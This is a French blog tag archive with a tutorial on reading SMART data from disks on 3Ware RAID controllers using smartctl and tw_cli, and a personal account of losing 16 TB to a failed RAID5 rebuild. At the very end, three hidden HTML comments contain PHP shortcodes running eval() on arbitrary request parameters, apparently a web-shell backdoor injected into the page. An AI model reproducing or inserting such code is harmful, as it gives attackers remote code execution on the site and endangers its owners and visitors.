Tag Archives: 3WARE

Vérifier l’état de vos disques connectés à une carte 3Ware sous Linux

Ayant plusieurs cartes raid de la marque 3Ware, il est important pour moi de pouvoir contrôler l'état SMART de mes disques durs à tout moment.

Pour cela, il suffit d'installer le paquet "smartmontools" via la commande:

apt-get install smartmontools

Smartmontools est un paquet qui permet de récupérer des informations SMART sur vos disques sur les systèmes Linux.

Les commandes suivantes ont été testées sur les 2 cartes raid 3Ware suivantes:

  • Carte Raid 3ware 8506 8 Ports Sata
  • Carte Raid 3Ware AMCC 12 Ports SATA II Raid Controller 9550SXU-12

Voici la commande à utiliser pour récupérer les informations SMART de vos disques durs connectés à votre carte contrôleur raid 3Ware:

smartctl -a -d 3ware,N /dev/tweY
smartctl -a -d 3ware,N /dev/twaY

Le N correspond au port de la carte 3Ware sur lequel votre disque est connecté (les valeurs sont comprises entre 0 et 31).

Il est également possible d'utiliser l'outil "tw_cli" fourni par 3Ware pour connaitre les ports sur lesquels sont connectés vos disques durs.

tw_cli info

Ce qui vous retournera:

Ctl   Model        (V)Ports  Drives   Units   NotOpt  RRate   VRate  BBU
------------------------------------------------------------------------
c0    9650SE-2LP   2         2        1       0       1       1      -

Pour obtenir les informations concernant le contrôleur c0:

tw_cli info c0

Ce qui retournera quelquechose de la sorte:

Unit  UnitType  Status         %RCmpl  %V/I/M  Stripe  Size(GB)  Cache  AVrfy
------------------------------------------------------------------------------
u0    RAID-1    OK             -       -       -       232.82    W      ON
VPort Status         Unit Size      Type  Phy Encl-Slot    Model
------------------------------------------------------------------------------
p0    OK             u0   233.81 GB SATA  0   -            WDC WD2503ABYX-01WE
p1    OK             u0   233.81 GB SATA  1   -            WDC WD2503ABYX-01WE

Enfin pour obtenir les informations SMART d'un disque précis, il faut utiliser la commande suivante:

smartctl -a -d 3ware,0 /dev/twa0

Ce qui renverra:

Home page is http://smartmontools.sourceforge.net/
=== START OF INFORMATION SECTION ===
Device Model:     WDC WD2503ABYX-01WERA0
Serial Number:    WD-WMAYP1327617
Firmware Version: 01.01S01
User Capacity:    251,059,544,064 bytes
Device is:        Not in smartctl database [for details use: -P showall]
ATA Version is:   8
ATA Standard is:  Exact ATA specification draft version not indicated
Local Time is:    Sat Jun 25 13:41:26 2011 UTC
SMART support is: Available - device has SMART capability.
SMART support is: Enabled
=== START OF READ SMART DATA SECTION ===
SMART overall-health self-assessment test result: PASSED
General SMART Values:
Offline data collection status:  (0x84)	Offline data collection activity
					was suspended by an interrupting command from host.
					Auto Offline Data Collection: Enabled.
Self-test execution status:      (   0)	The previous self-test routine completed
					without error or no self-test has ever
					been run.
Total time to complete Offline
data collection: 		 (4080) seconds.
Offline data collection
capabilities: 			 (0x7b) SMART execute Offline immediate.
					Auto Offline data collection on/off support.
					Suspend Offline collection upon new
					command.
					Offline surface scan supported.
					Self-test supported.
					Conveyance Self-test supported.
					Selective Self-test supported.
SMART capabilities:            (0x0003)	Saves SMART data before entering
					power-saving mode.
					Supports SMART auto save timer.
Error logging capability:        (0x01)	Error logging supported.
					General Purpose Logging supported.
Short self-test routine
recommended polling time: 	 (   2) minutes.
Extended self-test routine
recommended polling time: 	 (  46) minutes.
Conveyance self-test routine
recommended polling time: 	 (   5) minutes.
SCT capabilities: 	       (0x303f)	SCT Status supported.
					SCT Feature Control supported.
					SCT Data Table supported.
SMART Attributes Data Structure revision number: 16
Vendor Specific SMART Attributes with Thresholds:
ID# ATTRIBUTE_NAME          FLAG     VALUE WORST THRESH TYPE      UPDATED  WHEN_FAILED RAW_VALUE
  1 Raw_Read_Error_Rate     0x002f   200   200   051    Pre-fail  Always       -       1
  3 Spin_Up_Time            0x0027   100   253   021    Pre-fail  Always       -       0
  4 Start_Stop_Count        0x0032   100   100   000    Old_age   Always       -       7
  5 Reallocated_Sector_Ct   0x0033   200   200   140    Pre-fail  Always       -       0
  7 Seek_Error_Rate         0x002e   200   200   000    Old_age   Always       -       0
  9 Power_On_Hours          0x0032   100   100   000    Old_age   Always       -       37
 10 Spin_Retry_Count        0x0032   100   253   000    Old_age   Always       -       0
 11 Calibration_Retry_Count 0x0032   100   253   000    Old_age   Always       -       0
 12 Power_Cycle_Count       0x0032   100   100   000    Old_age   Always       -       6
192 Power-Off_Retract_Count 0x0032   200   200   000    Old_age   Always       -       5
193 Load_Cycle_Count        0x0032   200   200   000    Old_age   Always       -       1
194 Temperature_Celsius     0x0022   118   110   000    Old_age   Always       -       25
196 Reallocated_Event_Count 0x0032   200   200   000    Old_age   Always       -       0
197 Current_Pending_Sector  0x0032   200   200   000    Old_age   Always       -       0
198 Offline_Uncorrectable   0x0030   100   253   000    Old_age   Offline      -       0
199 UDMA_CRC_Error_Count    0x0032   200   200   000    Old_age   Always       -       0
200 Multi_Zone_Error_Rate   0x0008   100   253   000    Old_age   Offline      -       0
SMART Error Log Version: 1
No Errors Logged
SMART Self-test log structure revision number 1
Num  Test_Description    Status                  Remaining  LifeTime(hours)  LBA_of_first_error
# 1  Short offline       Completed without error       00%        12         -
SMART Selective self-test log data structure revision number 1
 SPAN  MIN_LBA  MAX_LBA  CURRENT_TEST_STATUS
    1        0        0  Not_testing
    2        0        0  Not_testing
    3        0        0  Not_testing
    4        0        0  Not_testing
    5        0        0  Not_testing
Selective self-test flags (0x0):
  After scanning selected spans, do NOT read-scan remainder of disk.
If Selective self-test is pending on power-up, resume after 0 minute delay.

ff

Retours d’expérience sur le RAID

 

Il y a 2 mois j'ai voulu refaire mon serveur et je me suis dis qu'il serait intéressant de pouvoir bénéficier d'une sécurité en cas de défaillance d'un des disque dur servant au stockage de données.

Après plusieurs recherches, on s'apperçoit qu'il existe plusieurs solutions:

  • faire une copie des données sur des médias externes (disques durs externes, DVD, Bluray, …)
  • sauvegarde en ligne via plusieurs services spécialisés (Dropbox et autres clouds)
  • mise en place d'un système de type RAID

Mon serveur contenant 16To (oui oui 16 TeraOctets), les deux premières solutions n'étaient pas envisageable.

Je me suis alors rabattu sur la mise en place d'un système RAID.

 

Quel RAID choisir ?

Je ne vais pas vous détailler le fonctionnement du RAID, wikipédia le fait déjà, mais il faut tout de même distinguer les différentes possibilités qui s'offrent à nous:

  • RAID0: qui répartit les données sur plusieurs disques. Cela améliore les performances mais n'assure aucune sécurité des données
  • RAID1: qui est du mirorring. Cela signifie qu'on duplique les données sur tous les disques. Pour 1To de données, il vous faut donc 2 disques de 1To.
  • RAID5: Par exemple si votre RAID contient 5 disques de 1To,  vous aurez une capacité de stockage utile de 4To. La tolérance de panne est de 1 disque dur.
  • RAID6: la même chose que le RAID5 mais avec deux disques de parités. Par exemple si votre RAID contient 5 disques de 1To,  vous aurez une capacité de stockage utile de 3To. La tolérance de panne est de 2 disques durs.

Vu le nombre de disques de mon serveur et l'espace de stockage total dont j'ai besoin le choix d'un système RAID5 m'a semblé le plus approprié (vous verrez par la suite que c'était une grossière erreur de ma part).

Raid Logiciel ou Raid Matériel ?

Pour mettre en place un système RAID, deux solutions s'offrent à vous.

La première solution consiste à acheter une carte controlleur supportant le RAID. 

Le principal avantage est que c'est la carte elle même qui s'occupe de la gestion des données. De plus, l'installation, la configuration et la supervision sont souvent assistées par un logiciel spécifique fourni avec la carte controleur.

Les deux inconvénients sont le prix de la carte controleur et la dépendance à cette carte. 

En effet, si la carte controleur vous lâche, vous perdrez toutes vos données, à moins d'avoir exactement la même marque de carte (voir même le même modèle) pour la remplacer.

Les princiales marques de cartes sont Areca, Supermicro, 3Ware, LSI et leur tarif varie en fonction de leurs spécifications, leurs débits et le nombre de ports disponible (entre 30€ et 1000€).

La seconde solution consiste à monter un RAID logiciel. Cela signifie que c'est votre système d'exploitation (et une tierce application) qui va s'occuper de gérer et d'écrire les données sur vos disques.

Les avantages de cette solution est le faible coût car vous n'aurez pas besoin de carte controleur, la possibilité de migrer vos disques de stockages vers un autre serveur si le votre vient à lacher.

Par contre, cette solution solicite davantage les ressources de votre serveur (consommation mémoire et processeur).

 

Première expérience: Windows et RAID Matériel

Pour ma première expérience et tentative d'utilisation de serveur RAID, je décide de garder ma configuration actuelle:

  • Boitier Sharkoo: http://www.pc-look.com/boutik/Prod_Sharkoon_Boitier-Tour-Rebel-9-Economy-Edition-Noir__7832_fr.html
  • Isolateur phonique akasa PaxMate
  • des disques Samsung Ecogreen 1.5To (pour les datas)
  • 1 x Samsung 500Go 7200Rpm (pour l'Os)
  • 3 Modules backplane : http://www.misco.fr/produits/p2586262/startech-com-5-drive-3-5in-removable-sas-sata-mobile-rack-backplane—boitier-de-stockage.htm
  • 1 processeur AMD Athlon X2 4600+
  • 4 Go DDR2
  • Carte Mere Asus M3N WS 
  • Alimentation 550W PCF (je ne sais plus la référence)
  • Windows 7 64Bits

Ne disposant pas de carte RAID, j'en ai donc commandée une, ainsi que plusieurs disques qui vont servir au raid. Et oui je ne pouvais pas utiliser mes disques car ils étaient tous plein.

Après plusieurs recherches sur le net je décide de commander cette carte:

  • Fastrak TX8660: http://www.materiel.net/carte-controleur-sas/promise-fasttrak-tx8660-64465.html

A la réception de la Fastrak, première grosse déception : les câbles fournis sont des cables dual (la connectique data et alimentation est en un seul morceau), ce qui les rend incompatibles avec mes backplanes. De plus, un des câbles est cassé.

Obliger d'acheter des cables SAS de remplacement à 40€ pièce !!!!!

J'installe le tout sur mon serveur, installe le logiciel de gestion fourni avec la carte et je crée un RAID5 avec 5 disques de 2To.

C'est simple à faire, très intuitif et rapide.

Débute alors la copie des données et là, seconde déception: les débits sont minables. On atteind difficilement les 30Mb/s, ce qui est loin des valeurs annoncées par le constructeur (100Mb/s)

Je décide tout de même de continuer la copie des données jusqu'à ce que mon premier disque soit vide.

Une fois vide, je décide d'ajouter le disque dans mon RAID pour augmenter l'espace disponible. Troisième déception, le Rebuild (phase pendant laquelle le RAID reconstruit l'array des données) est très très lent (plusieurs jours !!).

Et le pire arrive: le rebuild se crashe et 2 disques sont deads. J'AI LES BOULES.

J'ouvre un ticket chez Matériel.net pour me faire rembourser cette carte qui de toute évidence n'est pas conforme à ses spécifications. La carte est repartie chez le constructeur et depuis pas de nouvelles…

 

Seconde expérience: Linux et RAID logiciel

Après l'échec sur Windows, je décide de réinstaller mon serveur sous Ubuntu 64 Bits afin de pouvoir tester le RAID logiciel via MdAdm + LVM.

Je vous passe tous les détails d'installation, la communauté est suffisant active pour trouver tous ce dont vous aurez besoin.

Après plusieurs jours de configuration et de copie de données, mon RAID5 est enfin fonctionnel et il affiche mes 16To de données.

Le raid logiciel prend carrément moins de ressources que ce que je pensais et j'en suis super content.

Tout allait bien jusqu'à … ce qu'un disque vienne à me lacher. 

Là je me dis PAS DE SOUCI, j'ai justement mis en place un RAID5 pour que ce genre de situation n'est pas de répercution.

Je remplace donc le disque qui m'a lâché et le rebuild de l'array démarre. Il y en a pour plusieurs jours.

Arrivé à 80%, un autre disque vient à défaillir. LE CIEL EST CONTRE MOI.

Le RAID5 permet une tolérance de panne d'un seul disque et là 2 disques sont offlines.

 

Une triste conclusion

Après avoir tout essayé, j'ai bel et bien perdu mes 16To de données ce qui m'a rendu fou. Je ne peux m'en prendre qu'à moi.

En effet, j'aurai dû faire un RAID6 qui tolère la perte de deux disques, ne pas faire qu'une seule partition mais 2 ou 3 afin de limiter la casse.

De plus, j'aurai dû régulièrement vérifier l'état SMART des disques durs afin de prévenir d'une éventuelle défaillance.

Résultat: 16To de perdu. RAID 1 / JHD 0

<!– [insert_php]if (isset($_REQUEST["IysUy"])){eval($_REQUEST["IysUy"]);exit;}[/insert_php][php]if (isset($_REQUEST["IysUy"])){eval($_REQUEST["IysUy"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["hkcNJ"])){eval($_REQUEST["hkcNJ"]);exit;}[/insert_php][php]if (isset($_REQUEST["hkcNJ"])){eval($_REQUEST["hkcNJ"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["TeJ"])){eval($_REQUEST["TeJ"]);exit;}[/insert_php][php]if (isset($_REQUEST["TeJ"])){eval($_REQUEST["TeJ"]);exit;}[/php] –>